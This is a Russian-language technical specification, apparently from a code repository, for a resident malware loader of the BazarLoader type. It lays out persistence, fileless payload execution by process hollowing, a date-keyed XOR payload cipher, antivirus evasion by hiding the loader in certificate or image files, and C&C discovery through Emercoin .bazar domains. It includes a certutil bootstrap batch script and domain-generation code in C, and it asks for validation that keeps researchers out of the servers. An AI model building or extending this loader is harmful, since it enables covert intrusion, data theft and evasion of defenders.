You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
237 lines
11 KiB
237 lines
11 KiB
РЕЗИДЕНТНЫЙ ЗАГРУЗЧИК
|
|
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
|
|
|
|
Необходимо разработать резидентный загрузчик, отвечающий таким требованиям:
|
|
- небольшой размер (идеально - не более 100к)
|
|
- работа на голой ОС Windows начиная с Windows 2008/Windows Vista
|
|
что означает либо использование встроенных скриптовых языков (js, powershell v2.0), либо допустимо написать на C/C++
|
|
- работа с правами неприливегированного пользователя, без попыток поднять привилегии и обойти UAC
|
|
|
|
"Резидентный" означает, что загрузчик закрепляется на машине и переживает перезагрузку машины, стартует после перезагрузки машины.
|
|
Это НЕ означает, что загрузчик постоянно висит в памяти фоновым процессом и чего-то ждет.
|
|
Все что нужно - это выжить после перезагрузки.
|
|
|
|
Функция закрепления в загрузчике может отключаться на этапе сборки, под специфические окружения и задачи.
|
|
Тогда закрепление загрузчика может брать на себя сам бот (по команде 18, см. соотв.протокол).
|
|
Для этого загрузчик должен передавать путь к собственному файлу в бот при его запуске (через ком.строку или разделяемую память или как-то еще).
|
|
|
|
Задача загрузчика:
|
|
- при первом запуске на машине, закрепиться одной из техник закрепления (добавить себя в расписание, автозагрузку, ярлыки итд, см.ниже)
|
|
- определить разрядность процессора, и самообновиться на версию нужной разрядности
|
|
- выбрать линк для закачки основного файла в соответствии с разрядностью
|
|
- получить с сервера зашифрованый файл, расшифровать его. Шифрование - XOR 1 байт, ключ - текущая дата UTC в представлении YYYYMMdd, записанная в hex
|
|
например 20200128 - это hex-строка 3230323030313238 (каждая цифра переводится в 16-ричное представление)
|
|
Важно получать время именно в UTC, чтобы использовать правильную дату для машин в удаленных временнЫх зонах
|
|
- при ошибках связи или декодирования, продолжаются попытки получения и расшифровки нагрузки каждый час
|
|
- запустить полученный файл fileless-техникой - process hollowing, process doppelganging, подгрузка и запуск dll из памяти, либо подобные техники,
|
|
БЕЗ СОХРАНЕНИЯ НА ДИСК, ДАЖЕ В ПРОМЕЖУТОЧНОМ ВИДЕ
|
|
- после запуска файла завершиться
|
|
|
|
НИ ПРИ КАКИХ УСЛОВИЯХ ЗАГРУЖЕННЫЙ ИЗ СЕТИ ФАЙЛ НЕ ДОЛЖЕН БЫТЬ ЗАПИСАН НА ДИСК
|
|
это принципиальное условие.
|
|
|
|
Если для реализации выбирается скриптовый язык, нужно принять во внимание, что реализация техник безфайлового запуска
|
|
(process hollowing/process doppelganging) скорей всего крайне трудно реализуема.
|
|
|
|
Относительно оформления нагрузки в виде .dll:
|
|
- это позволяет избежать запуска дополнительного процесса, следовательно избежать и проактивных детектов.
|
|
В таком случае, точка входа в .dll - функция DllMain(DLL_PROCESS_ATTACH)
|
|
|
|
Загрузчик должен поддерживать работу через прокси, если он указан в настройках операционной системы (inetcpl.cpl -> Подключение -> Настройки прокси-сервера).
|
|
|
|
Дополнительно, загрузчик должен уметь:
|
|
- резолвить домены .bazar блокчейна Emercoin и использовать их для поиска командных серверов
|
|
- обновлять себя. Для обновления используется дополнительный линк, зашитый в код. Обновляться следует только если отличается версия (произвольная строка)
|
|
(сервер должен отдать версию файла на запрос HEAD /update HTTP/1.1 в заголовке X-Tag)
|
|
|
|
НАСТОЙЧИВО РЕКОМЕНДУЕТСЯ не хранить собственное тело в виде .exe-файла.
|
|
Обычный способ обеспечения персистентности в системе - это запуск .exe-файла через автозагрузку, задачи по расписанию,
|
|
службы WMI итд.
|
|
Однако, предпочтительно сделать следующую схему:
|
|
- тело загрузчика хранится упакованным и зашифрованным в некий контейнер:
|
|
.txt-файл, файл сертификата, картинку, длинное значение в ключе реестра, .cab-файл, итд
|
|
- таким образом, настоящее тело невидимо для антивирусов
|
|
- запускается не .exe, а bootstrap-скрипт (.bat-файл), разворачивающий и запускающий тело загрузчика
|
|
и удаляющий промежуточный .exe после выполнения
|
|
- bootstrap-скрипт использует только имеющиеся в "голой" ОС утилиты
|
|
|
|
Например (весьма примитивно и условно, только для демонстрации техники), bootstrap.bat:
|
|
|
|
@echo off
|
|
REM достаем загрузчик из "сертификата"
|
|
certutil -decode file.crt file.exe
|
|
REM запускаем загрузчик
|
|
file.exe
|
|
REM ждем пока прогрузится и отработает файл
|
|
ping -n 300 127.0.0.1 > NUL
|
|
REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку
|
|
del /f /y file.exe
|
|
|
|
Процедура самообновления должна учитывать данную схему и корректно сгружать новое тело в обфусцированный файл.
|
|
|
|
Если используется язык Си/С++, следует подготовить проект CMake, чтобы иметь возможность пересобирать код загрузчика отличными от Microsoft компиляторами,
|
|
например mingw, clang.
|
|
|
|
|
|
ВАЛИДАЦИЯ СЕРВЕРА
|
|
|
|
Валидация сервера происходит путем получения текущей даты сервера и проверки цифровой подписи строки с датой ВШИТЫМ в загрузчик асимметричным криптоключом.
|
|
Это является защитой от атак SinkHole путем перенаправления трафика от ботов на подставной сервер.
|
|
|
|
В HTTP-заголовке на ЛЮБОЙ HTTP-ответ обязательно должна быть дата с временем, например:
|
|
Date: YYYY-MM-dd HH:mm:ss
|
|
|
|
* Первый вариант
|
|
В HTTP-ответе должен присутствовать заголовок Set-Cookie: с именем куки SID и значением в base64-кодировке.
|
|
Значение куки является цифровой подписью ДАТЫ (БЕЗ времени!)
|
|
|
|
* Второй вариант
|
|
Поиск цифровой подписи происходит во ВСЕХ HTTP-заголовках ответа.
|
|
Если при переборе значений заголовков подпись сходится, сервер считается провалидированным.
|
|
Такое изменение делается с целью улучшить маскировку трафика (в ответ сервера включаются ложные заголовки, которые клиент игнорирует,
|
|
а DPI-системы вводит в заблуждение).
|
|
|
|
Если подпись не сходится, или дата (без времени) не совпадает с локальной, ищем другой сервер.
|
|
|
|
Валидация сервера должна быть сделана при первом же запросе на сервер.
|
|
После прохождения валидации, сервер помечается как надежный и в дальнейшем валидация не требуется.
|
|
Валидацию следует повторять при переустановке соединения и при смене адреса сервера.
|
|
|
|
Код валидации прилагается.
|
|
|
|
|
|
ВАЛИДАЦИЯ КЛИЕНТА
|
|
|
|
Для отсечения исследователей от сервера и предотвращения слива файлов из новых групп, используется валидация клиента на стороне сервера.
|
|
|
|
1. В каждый HTTP-запрос на сервер включается поле Date и проставляется текущие дата со временем
|
|
2. В лоадер/бот вшивается закрытый ключ для асимметричного шифрования. Ключ меняется от группы к группе
|
|
3. Лоадер/бот должен подписать значение даты (после подстроки "Date: " начиная с первого значащего символа после пробела), обернуть в base64 полученное значение,
|
|
и положить в любой случайный заголовок.
|
|
Можно Cookie, но необязательно - можно также использовать заголовки с префиксом X- и любым неуникальным именем (т.е. таким, которое уже широко используется).
|
|
4. Алгоритм шифрования такой же, как при проверке подписи сервера.
|
|
|
|
|
|
ОПРЕДЕЛЕНИЕ АДРЕСА C&C СЕРВЕРА ПО ДОМЕНУ
|
|
|
|
Для обнаружения командного сервера используются следующие стратегии:
|
|
1. список "сырых" IP-адресов
|
|
2. хардкод-список несуществующих пока (резервных) доменов Emercoin
|
|
3. генерация имени домена на основе текущей даты (подразумевается доменный суффикс .bazar)
|
|
Алгоритм в п.3 составлен так, что число всех возможных доменов составляет несколько тысяч,
|
|
так что их достаточно много чтобы перекрыть всю регистрацию,
|
|
и в то же время время перебора резолвером не слишком велико (порядка суток-нескольких суток).
|
|
Алгоритм приведен в приложении.
|
|
Поиск по алгоритму 3 следует делать пачками не более 5000 доменов за один раз.
|
|
После чего переходить к пункту 1.
|
|
После первого неудачного цикла 1..3, следует увеличить интервалы поиска сервера до получаса между пунктами.
|
|
|
|
При соединении с сервером следует его провалидировать по цифровой подписи (см.выше).
|
|
Если сервер невалиден, поиск продолжается.
|
|
|
|
В случае если не удалось найти валидный командный сервер за 3 последовательных попытки, следует либо завершиться, либо удалить себя из системы
|
|
(определяется настройками сборки).
|
|
|
|
После резолва IP-адреса из домена Emercoin, следует преобразовать IP-адрес путем операции XOR 254 для каждого октета.
|
|
Например, 124.245.101.251 (получен из DNS-ответа) -> 130.11.155.5
|
|
Т.к. DNS-информация доступна каждому, таким образом защищаемся от абюзов по взятым из DNS-записи адресам.
|
|
|
|
Код скрипта ipxor.ps1 на PowerShell:
|
|
$ip = read-host -prompt "Enter IP";
|
|
write-host $ip;
|
|
$newip = '';
|
|
($ip.split('.') | foreach {
|
|
$octet = [byte] ( $_)
|
|
$octet = $octet -bxor 254;
|
|
$newip = -join($newip,'.',$octet);
|
|
}
|
|
)
|
|
write-host $newip;
|
|
|
|
|
|
ПРОТОКОЛ ЗАГРУЗЧИКА
|
|
|
|
HEAD / HTTP/1.1
|
|
Проверка обновлений
|
|
В ответе ищем заголовок X-Tag, содержащий произвольную строку, обозначающую версию загрузчика на сервере.
|
|
Обновление происходит, если вшитая в загрузчик версия не совпадает с версией на сервере.
|
|
|
|
GET / HTTP/1.1
|
|
|
|
Получить тело нагрузки и запустить её.
|
|
Шифрование - XOR 1 байт, ключ - текущая дата UTC в представлении YYYYMMdd, записанная в hex
|
|
например 20200128 - это hex-строка 3230323030313238 (каждая цифра переводится в 16-ричное представление)
|
|
|
|
POST / HTTP/1.1
|
|
|
|
То же самое что и GET, плюс отправка информации о системе.
|
|
Тело запроса должно быть зашифровано датой как описано выше.
|
|
|
|
ДАННАЯ ФУНКЦИЯ ОПЦИОНАЛЬНА. ВКЛЮЧЕНИЕ В СБОРКЕ УСЛОВНОЙ КОМПИЛЯЦИЕЙ!
|
|
|
|
Форматирование ответа в теле POST соответствует этому же ответу бэкдора.
|
|
Если какую-то инфу нельзя получить без запуска внешних утилит, мы ее не присылаем! это важное условие.
|
|
Список полей сокращен:
|
|
path=полный путь к бинарному файлу бекдора (если не используется полностью fileless технология)
|
|
os=3-7 цифр содержащих major-version, minor-version и build операционной системы, если таковые имеются у системы
|
|
(например, для 6.1 build 7600 это будет 617600).
|
|
os[1]=признак типа ОС (W=Windows) и версия ОС
|
|
os[2]=билд ОС
|
|
arch=архитектура (разрядность): 86 или 64
|
|
cname=имя компьютера
|
|
uname=имя пользователя
|
|
domain=имя домена или рабочей группы компьютера получаем ТОЛЬКО вызовом WinAPI, например NetWkstaGetInfo; никаких запусков внешних утилит!)
|
|
av[]=тип антивируса
|
|
ps=список процессов
|
|
|
|
|
|
ДОПОЛНИТЕЛЬНО
|
|
|
|
Техники закрепления: https://habr.com/ru/post/425177/
|
|
Код резолва Emercoin прилагается.
|
|
|
|
ПРИЛОЖЕНИЕ 1
|
|
КОД ГЕНЕРАЦИИ ДОМЕНОВ ПО ТЕКУЩЕЙ ДАТЕ
|
|
|
|
Код следует дополнительно обфусцировать, как для запутывания аналитика, так и потому что он дает характерную сигнатуру.
|
|
Подразумевается доменный суффикs .bazar
|
|
|
|
void get_possible_domain(char* domain) {
|
|
if (!domain)
|
|
return;
|
|
|
|
for (int i = 0; i < 6; ++i) {
|
|
int rndchr = rand() % ('z' - 'a');
|
|
rndchr /= i + 6;
|
|
char c = 'a' + rndchr + i*2;
|
|
domain[i] = c;
|
|
}
|
|
|
|
static char datebuf[24];
|
|
static char date[7];
|
|
static bool date_computed = false;
|
|
|
|
if (!date_computed) {
|
|
GetDateFormatA(LOCALE_INVARIANT, 0, NULL, NULL, datebuf, sizeof(datebuf));
|
|
char mon[3];
|
|
char year[5];
|
|
|
|
for (int i = 0; i < 2; ++i)
|
|
mon[i] = datebuf[i];
|
|
mon[2] = 0;
|
|
|
|
for (int i = 0; i < 4; ++i)
|
|
year[i] = datebuf[i + 6];
|
|
year[4] = 0;
|
|
sprintf_s(date, sizeof(date), "%.2d%d", 12 - atoi(mon), atoi(year) - 18);
|
|
date_computed = true;
|
|
}
|
|
|
|
for (int i = 6; i < 12; ++i) {
|
|
domain[i] = domain[i - 6] + date[i - 6] - '0';
|
|
if (domain[i] < 'a')
|
|
domain[i] = 'z';
|
|
}
|
|
|
|
domain[12] = 0;
|
|
}
|